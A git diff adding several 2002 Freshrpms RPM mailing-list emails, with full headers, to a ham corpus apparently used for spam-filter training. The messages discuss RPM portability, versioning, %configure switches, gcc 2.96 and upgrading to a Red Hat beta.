Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 16 Aug 2002 19:58:07 +0200 +Date: Fri, 16 Aug 2002 19:58:07 +0200 + +Halloechen! + +If I create an RPM according to one of the how-to's with having +Red Hat in mind, how big are my chances that it will also work +for the SuSE distribution, or others? (I don't know how many +base on the RPM system.) + +Or what must I pay attention to when creating an RPM that should +work with the big distributions? + +Tschoe, +Torsten. + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01252.fb08e6249d158136cdbcb0ebc563793a b/bayes/spamham/easy_ham_2/01252.fb08e6249d158136cdbcb0ebc563793a new file mode 100644 index 0000000..4c9ca96 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01252.fb08e6249d158136cdbcb0ebc563793a @@ -0,0 +1,90 @@ +From rpm-list-admin@freshrpms.net Mon Aug 19 10:57:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A6DAE4411C + for ; Mon, 19 Aug 2002 05:49:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:49:14 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7HBjs628955 for + ; Sat, 17 Aug 2002 12:45:54 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7HBi2J21768; Sat, 17 Aug 2002 13:44:02 + +0200 +Received: from posti.pp.htv.fi (posti.pp.htv.fi [212.90.64.50]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7HBhoJ21717 for + ; Sat, 17 Aug 2002 13:43:50 +0200 +Received: from cs78128057.pp.htv.fi ([62.78.128.57]) by posti.pp.htv.fi + (8.11.1/8.11.1) with ESMTP id g7HBheH17176 for ; + Sat, 17 Aug 2002 14:43:41 +0300 (EETDST) +Subject: Re: Portable RPMs +From: Ville =?ISO-8859-1?Q?Skytt=E4?= +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <02081619580702.01597@wilson> +References: <02081619580702.01597@wilson> +Content-Type: text/plain; charset=ISO-8859-1 +X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) +Message-Id: <1029584626.18239.128.camel@bobcat.ods.org> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by egwn.net id + g7HBhoJ21717 +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 17 Aug 2002 14:43:45 +0300 +Date: 17 Aug 2002 14:43:45 +0300 + +On Fri, 2002-08-16 at 20:58, Torsten Bronger wrote: + +> If I create an RPM according to one of the how-to's with having +> Red Hat in mind, how big are my chances that it will also work +> for the SuSE distribution, or others? (I don't know how many +> base on the RPM system.) +> +> Or what must I pay attention to when creating an RPM that should +> work with the big distributions? + +One practice I've adopted is to list Requires: only when they're +absolutely necessary. This will help because some packages are named +differently between distributions (eg. SDL <-> libSDL), and the +dependencies are automatically handled by RPM by depending on shared +library names. + +This doesn't apply to BuildRequires: though. + +Use macros for directory names where available, eg %{_libdir}, +%{_bindir}, %{_datadir} etc. + +I'd like to suggest using as many RPM macros for command names as +possible too, but unfortunately I don't know of a definitive reference +about them... + +I have a small RedHat 7.3 RPM/apt repository at +, and I've received reports from people +running Mandrake 8.x and SuSE that the RPMs work with them out of the +box. + +-- +\/ille Skyttä +ville.skytta at iki.fi + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01253.f67e6599c65a5f89ab3b4f576f974c7d b/bayes/spamham/easy_ham_2/01253.f67e6599c65a5f89ab3b4f576f974c7d new file mode 100644 index 0000000..1c6a705 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01253.f67e6599c65a5f89ab3b4f576f974c7d @@ -0,0 +1,79 @@ +From rpm-list-admin@freshrpms.net Mon Aug 19 11:01:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D4E5944186 + for ; Mon, 19 Aug 2002 05:53:58 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:53:58 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7J82T613505 for + ; Mon, 19 Aug 2002 09:02:29 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7J804J25520; Mon, 19 Aug 2002 10:00:05 + +0200 +Received: from mail.aspect.net + (postfix@adsl-65-69-210-161.dsl.hstntx.swbell.net [65.69.210.161]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7J7wwJ24023 for + ; Mon, 19 Aug 2002 09:58:58 +0200 +Received: from skadi.local. (pcp185108pcs.swedsb01.nj.comcast.net + [68.46.52.124]) by mail.aspect.net (Postfix) with ESMTP id 20A176D23C for + ; Mon, 19 Aug 2002 02:49:52 -0500 (CDT) +Subject: Re: Limbo beta 2 ? +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v543) +From: Julian Missig +To: rpm-zzzlist@freshrpms.net +Content-Transfer-Encoding: 7bit +In-Reply-To: <20020813144303.7b192f78.matthias@egwn.net> +Message-Id: <82544E89-B349-11D6-B9B3-000393D60714@jabber.org> +X-Mailer: Apple Mail (2.543) +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 19 Aug 2002 03:58:55 -0400 +Date: Mon, 19 Aug 2002 03:58:55 -0400 + +I realize this is an old thread, but I just had to comment: + +On Tuesday, Aug 13, 2002, at 08:43 US/Eastern, Matthias Saou wrote: + +> Once upon a time, Dave wrote : +> +>> Eeeek... I hope they aren't intending to release a new RH with a new +>> gcc +>> which hasn't yet been released (again). Bad enough the first time, and +>> I'm sure it gave RedHat a lot of embarrassment. +> +> Not really, it should have given more embarrassment to sloppy C++ +> programmers although they often were the ones bashing on gcc 2.96... + +A lot of C++ programmers, myself included, were /not/ complaining about +gcc's stricter adherence to the specification (which, by the way, a lot +of kernel programmers complain about with gcc 3.x -- at least, the +patch authors I've talked to hate gcc 3) -- gcc "2.96" had a lot of +bugs. A lot. It crashed on me many times while working on my projects. +Later "versions" of "2.96" fixed this, but it was well after 3.0 was +released that it finally seemed reasonably stable -- and at that point, +I just wanted to use 3.0, so I did. + +Julian + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01254.0fd37a50af6403a2632ce79ed2d5b2f8 b/bayes/spamham/easy_ham_2/01254.0fd37a50af6403a2632ce79ed2d5b2f8 new file mode 100644 index 0000000..0fd2654 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01254.0fd37a50af6403a2632ce79ed2d5b2f8 @@ -0,0 +1,84 @@ +From rpm-list-admin@freshrpms.net Mon Aug 19 16:31:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6147D43C34 + for ; Mon, 19 Aug 2002 11:31:35 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 16:31:35 +0100 (IST) +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JFVx630235 for + ; Mon, 19 Aug 2002 16:31:59 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7JFR2J28388; Mon, 19 Aug 2002 17:27:02 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7JFPwJ16539 for + ; Mon, 19 Aug 2002 17:25:59 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: rpm versioning done right? +Message-Id: <20020819172504.56ae01a0.matthias@egwn.net> +In-Reply-To: <1029769679.30562.134.camel@ulysses.hemma> +References: <1029769679.30562.134.camel@ulysses.hemma> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 19 Aug 2002 17:25:04 +0200 +Date: Mon, 19 Aug 2002 17:25:04 +0200 + +Once upon a time, Daniel wrote : + +> What do you pleople think of the strategy to put prerelease +> (alpha/beta/rc) information in the release field? The above example +> should then have 6.1-0alpha5 as %{version}-%{release} and when the final +> version was released it would have 6.1-1. + +Why not... it's just that sometimes it gets a bit more confusing in the +spec file since you have to change the "Source:" as well as "%setup" to +reflect the name changes. But it might also sometimes be even easier the +way you suggest, if the entire package contains only references to the +final version and that only the archive name has a "pr1" or "beta6" in it +for example. + +Take for instance xmame : I've been packaging 0.61 pre-releases as +"0.61-fr0.x" since the entire source has only "0.61" tags everywhere, no +preversion tags whatsoever. + +Still, I don't think "Epoch:" is an evil hack although it's true that it +may cause problems between distributions when used. Wanting to avoid it +when possible is a good thing indeed ;-) + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01255.d61d01eff7256b5b4e9ec26e75c7c1a2 b/bayes/spamham/easy_ham_2/01255.d61d01eff7256b5b4e9ec26e75c7c1a2 new file mode 100644 index 0000000..bbfe59a --- /dev/null +++ b/bayes/spamham/easy_ham_2/01255.d61d01eff7256b5b4e9ec26e75c7c1a2 @@ -0,0 +1,70 @@ +From rpm-list-admin@freshrpms.net Mon Aug 19 16:31:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 408F043C36 + for ; Mon, 19 Aug 2002 11:31:36 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 16:31:36 +0100 (IST) +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JFXJ630263 for + ; Mon, 19 Aug 2002 16:33:20 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7JFV2J06345; Mon, 19 Aug 2002 17:31:02 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7JFURJ01470 for + ; Mon, 19 Aug 2002 17:30:28 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: advice on 7.3.92 to 7.3.93, and Apt compiling +Message-Id: <20020819172917.56074092.matthias@egwn.net> +In-Reply-To: <20020819150804.84244.qmail@web20804.mail.yahoo.com> +References: <20020819164430.437451f6.matthias@egwn.net> + <20020819150804.84244.qmail@web20804.mail.yahoo.com> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 19 Aug 2002 17:29:17 +0200 +Date: Mon, 19 Aug 2002 17:29:17 +0200 + +Once upon a time, Doug wrote : + +> Perms are borked on your en/ directory. Can't get in. + +Indeed, sorry. +Fixed now, happy download :-) + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01256.9494ea8b24d04fed1503e96c2f3a7a4d b/bayes/spamham/easy_ham_2/01256.9494ea8b24d04fed1503e96c2f3a7a4d new file mode 100644 index 0000000..7092049 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01256.9494ea8b24d04fed1503e96c2f3a7a4d @@ -0,0 +1,76 @@ +From rpm-list-admin@freshrpms.net Tue Aug 20 10:57:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B8E7743C32 + for ; Tue, 20 Aug 2002 05:57:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:57:50 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JJDJZ05539 for + ; Mon, 19 Aug 2002 20:13:25 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7JJA3J24241; Mon, 19 Aug 2002 21:10:03 + +0200 +Received: from ex02.idirect.net (ex02.idirect.net [208.226.76.48]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7JJ92J22371 for + ; Mon, 19 Aug 2002 21:09:02 +0200 +X-Mimeole: Produced By Microsoft Exchange V6.0.4417.0 +Content-Class: urn:content-classes:message +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Subject: RE: when building a rpm i386-redhat-linux- is appended to man page +Message-Id: +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: when building a rpm i386-redhat-linux- is appended to man page +Thread-Index: AcJFSiwo80NEqdKtS/G5oQ2JWsxlLACaM5hg +From: "Harig, Mark A." +To: +X-Mailscanner: Found to be clean, Found to be clean +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by egwn.net id + g7JJ92J22371 +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 19 Aug 2002 15:08:56 -0400 +Date: Mon, 19 Aug 2002 15:08:56 -0400 + +> +> The workaround is to pass an extra argument to configure as follows : +> +> %configure --program-prefix=%{?_program_prefix:%{_program_prefix}} +> + +This works when you are defining a switch that %configure +does not already define, but how can we override an +existing switch? For example, + + prefix: /usr/local + + %configure --prefix=%{?_prefix:%{prefix}} + +would be desirable for making a .rpm package relocatable, +but this doesn't work. 'configure' receives two switches, +the default '--prefix=/usr' and the (attempted) override +'--prefix=/usr/local', but it only recognizes the first one. + +--- + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01257.e6fdbfb293cca6e8d422b2ea4e8936ad b/bayes/spamham/easy_ham_2/01257.e6fdbfb293cca6e8d422b2ea4e8936ad new file mode 100644 index 0000000..7fe430e --- /dev/null +++ b/bayes/spamham/easy_ham_2/01257.e6fdbfb293cca6e8d422b2ea4e8936ad @@ -0,0 +1,81 @@ +From rpm-list-admin@freshrpms.net Tue Aug 20 10:58:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 906BE43C40 + for ; Tue, 20 Aug 2002 05:57:59 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:57:59 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JJl7Z06601 for + ; Mon, 19 Aug 2002 20:47:07 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7JJi2J12864; Mon, 19 Aug 2002 21:44:02 + +0200 +Received: from drone4.qsi.net.nz (drone4-svc-skyt.qsi.net.nz + [202.89.128.4]) by egwn.net (8.11.6/8.11.6/EGWN) with SMTP id g7JJh7J11355 + for ; Mon, 19 Aug 2002 21:43:07 +0200 +Received: (qmail 6728 invoked by uid 0); 19 Aug 2002 19:42:52 -0000 +Received: from unknown (HELO se7en.org) ([202.89.145.8]) (envelope-sender + ) by 0 (qmail-ldap-1.03) with SMTP for + ; 19 Aug 2002 19:42:52 -0000 +Received: from spawn.se7en.org ([10.0.0.3]) by se7en.org with esmtp (Exim + 3.35 #1 (Debian)) id 17h6bh-0001ct-00 for ; + Tue, 20 Aug 2002 22:51:29 +1200 +From: Mark Derricutt +To: rpm-zzzlist@freshrpms.net +Subject: Re: rpm versioning done right? +Message-Id: <8990000.1029786117@spawn.se7en.org> +In-Reply-To: <20020819172504.56ae01a0.matthias@egwn.net> +References: <1029769679.30562.134.camel@ulysses.hemma> + <20020819172504.56ae01a0.matthias@egwn.net> +X-Mailer: Mulberry/2.2.1 (Linux/x86) +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Content-Disposition: inline +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 20 Aug 2002 07:41:57 +1200 +Date: Tue, 20 Aug 2002 07:41:57 +1200 + +This seems to be a good argument for the odd number prerelease, even number +stables. + +So instead of a 0.61pre2 pre3, and a 0.61final, you'd stick with 0.61 +with different releases, and a 0.62. + +0.61-1, 0.61-2, 0.62. Would that that? + +--On Monday, August 19, 2002 17:25:04 +0200 Matthias Saou + wrote: + +> Take for instance xmame : I've been packaging 0.61 pre-releases as +> "0.61-fr0.x" since the entire source has only "0.61" tags everywhere, no +> preversion tags whatsoever. + + + + -- \m/ -- + "...if I seem super human I have been misunderstood." (c) Dream Theater + mark@talios.com - ICQ: 1934853 JID: talios@myjabber.net + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01258.d1dbf074124593e44a94546a2067741d b/bayes/spamham/easy_ham_2/01258.d1dbf074124593e44a94546a2067741d new file mode 100644 index 0000000..2205099 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01258.d1dbf074124593e44a94546a2067741d @@ -0,0 +1,78 @@ +From rpm-list-admin@freshrpms.net Tue Aug 20 10:58:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 747BB43C3A + for ; Tue, 20 Aug 2002 05:58:21 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:58:21 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JLdkZ10415 for + ; Mon, 19 Aug 2002 22:39:46 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7JLa1J13422; Mon, 19 Aug 2002 23:36:01 + +0200 +Received: from python (80-24-132-206.uc.nombres.ttd.es [80.24.132.206]) + (authenticated) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g7JLZ5J08184 for ; Mon, 19 Aug 2002 23:35:05 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: when building a rpm i386-redhat-linux- is appended to man page +Message-Id: <20020819232524.3886537a.matthias@egwn.net> +In-Reply-To: +References: +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 19 Aug 2002 23:25:24 +0200 +Date: Mon, 19 Aug 2002 23:25:24 +0200 + +Once upon a time, Harig, wrote : + +> > +> > The workaround is to pass an extra argument to configure as follows : +> > +> > %configure --program-prefix=%{?_program_prefix:%{_program_prefix}} +> > +> +> This works when you are defining a switch that %configure +> does not already define, but how can we override an +> existing switch? + +Well, %configure doesn't define "--program-prefix=", so that's why it +works. Maybe you thought that was an example, but no, it's the exact syntax +to use as a workaround ;-) + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01259.22a83d5195945ad55d623f65353e8c3f b/bayes/spamham/easy_ham_2/01259.22a83d5195945ad55d623f65353e8c3f new file mode 100644 index 0000000..b8c6298 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01259.22a83d5195945ad55d623f65353e8c3f @@ -0,0 +1,87 @@ +From rpm-list-admin@freshrpms.net Tue Aug 20 10:58:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E764443C46 + for ; Tue, 20 Aug 2002 05:58:19 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:58:19 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JLc0Z10364 for + ; Mon, 19 Aug 2002 22:38:00 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7JLX1J04757; Mon, 19 Aug 2002 23:33:01 + +0200 +Received: from bob.dudex.net (dsl092-157-004.wdc1.dsl.speakeasy.net + [66.92.157.4]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7JLWmJ04731 + for ; Mon, 19 Aug 2002 23:32:48 +0200 +Received: from [66.92.157.3] (helo=www.dudex.net) by bob.dudex.net with + esmtp (Exim 3.35 #1) id 17gu8v-0004EZ-00 for rpm-list@freshrpms.net; + Mon, 19 Aug 2002 17:32:57 -0400 +X-Originating-Ip: [66.92.157.2] +From: "" Angles " Puglisi" +To: rpm-zzzlist@freshrpms.net +Subject: Re: advice on 7.3.92 to 7.3.93, and Apt compiling (oh joy) +Message-Id: <20020819.Tyh.17357700@www.dudex.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +Content-Disposition: inline +X-Mailer: AngleMail for phpGroupWare (http://www.phpgroupware.org) v + 0.9.14.000 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 19 Aug 2002 21:34:59 +0000 +Date: Mon, 19 Aug 2002 21:34:59 +0000 + +Matthias Saou (matthias@egwn.net) wrote*: +>Then why bother : The new Red Hat Linux beta "(null)" is now available and +>should be announced anytime now. It contains rpm 4.1-0.81. + +Ahhh ... this is funny. Last night I upgraded to Limbo II (.93). + +Installed Limbo II kernel, Installed libstdc++ from rawhide (rpm -ivh) so the +newer apt would work, told apt it is OK to have multiple of libstdc++, copied +the actual rawhide "libstdc++.so.5.0.0" file to another directory, removed that +rawhide libstdc++ package, installed (rpm -ivh ) the Limbo II libstdc++ package +(new apt does not like it), make that symlink "libstdc++.so.5" point to that +rawhide file I moved earlier. + +Apt works again, dump the Limbo II rpms into a dir, run the "genaptrep.sh rh73", +but "topdir" arg had changed, edit script, rerun, makes apt repository for Limbo +II. Do "apt-get --ignore missing -f dist-upgrade". Apt wants to uninstall itself +because that rawhide libstdc++ package is not installed, but apt works for the +moment because of that symlink I made. + +Apt stays installed just long enough to issue the necessary "dist-upgrade" +commands, several hours later, I have Limbo II, shiny and new. The install even +made that symlink point back to the correct libstdc++ file. + +Several hours after that, I read my mail and realize that "null" directory I kept +seeing while downloading Limbo II was not a fluke. + +Ahh, the joy. Repeat the above .... + +-- +That's "angle" as in geometry. + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01260.c273caa5ba806db5a6dfd87261b397a1 b/bayes/spamham/easy_ham_2/01260.c273caa5ba806db5a6dfd87261b397a1 new file mode 100644 index 0000000..a2f7234 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01260.c273caa5ba806db5a6dfd87261b397a1 @@ -0,0 +1,106 @@ +From rpm-list-admin@freshrpms.net Tue Aug 20 10:58:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 71C1C43C47 + for ; Tue, 20 Aug 2002 05:58:24 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:58:24 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JLtBZ10845 for + ; Mon, 19 Aug 2002 22:55:11 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7JLn2J06821; Mon, 19 Aug 2002 23:49:02 + +0200 +Received: from 